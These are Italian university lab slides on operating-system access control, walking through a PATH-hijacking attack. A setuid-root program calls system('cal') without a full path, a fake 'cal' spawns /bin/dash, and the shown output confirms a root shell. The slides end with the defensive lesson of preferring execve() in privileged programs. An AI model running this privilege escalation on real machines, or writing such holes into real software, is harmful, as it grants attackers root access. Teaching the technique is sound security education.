

Lab 6 – Attacchi tramite programma esterno

Sicurezza dei Sistemi e delle reti

Modulo 3 - Autenticazione e controllo degli accessi

Unità didattica 3 – Controllo degli accessi nei sistemi operativi

Stelvio Cimato

Università degli Studi di Milano - SSRI - CdL Online

Attacchi tramite programma esterno

- **Un'applicazione può richiamare un programma esterno.**
- **L'applicazione stessa potrebbe non utilizzare variabili di ambiente, ma il programma esterno richiamato potrebbe farlo.**
- **Modi tipici di richiamare programmi esterni:**
 - `exec ()` famiglia di funzioni che chiamano `execve ()` : esegue direttamente il programma
 - `system ()`
 - `system ()` la funzione chiama `execl ()`
 - `execl ()` alla fine chiama `execve ()` per eseguire `/bin/sh`
 - Il programma di shell quindi esegue il programma
- **Le superfici di attacco differiscono per questi due approcci**

Attacchi tramite programma esterno: caso di studio

- shell è influenzato da molte variabili di ambiente, la più comune delle quali è la variabile PATH.
- Quando un programma shell esegue un comando e non viene fornito il percorso assoluto , utilizza la variabile PATH per individuare il comando.
- Considera il seguente codice:

```
/* The vulnerable program (vul.c) */  
#include <stdlib.h>  
int main()  
{  
    system("cal");  
}
```

← Percorso completo non fornito. Possiamo usarlo per manipolare la variabile del percorso

- Forzeremo il programma di cui sopra per eseguire il seguente programma :

```
/* our malicious "calendar" program */  
int main()  
{  
    system("/bin/dash");  
}
```

Attacchi tramite programma esterno: caso di studio

```
seed@ubuntu:$ gcc -o vul vul.c
seed@ubuntu:$ sudo chown root vul
seed@ubuntu:$ sudo chmod 4755 vul
seed@ubuntu:$ vul
```

```
    December 2015
Su Mo Tu We Th Fr Sa
                1  2  3  4  5
 6  7  8  9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
```

```
seed@ubuntu:$ gcc -o cal cal.c
seed@ubuntu:$ export PATH=.:$PATH
seed@ubuntu:$ echo $PATH
```

```
./usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:...
```

```
seed@ubuntu:$ vul
```

```
#          ← Get a root shell!
```

```
# id
```

```
uid=1000(seed) gid=1000(seed) euid=0(root) ...
```

①

Per prima cosa
eseguiremo il
primo

programma
senza eseguire
l'attacco

②

modifichiamo la
variabile
d'ambiente PATH

Attacchi tramite programma esterno: superfici di attacco

- **Rispetto a `system()`, la superficie di attacco di `execve()` è più piccola**
- **`execve()` non invoca la shell e quindi non è influenzato dalle variabili di ambiente**
- **Quando si invocano programmi esterni in programmi privilegiati, dovremmo usare `execve()`**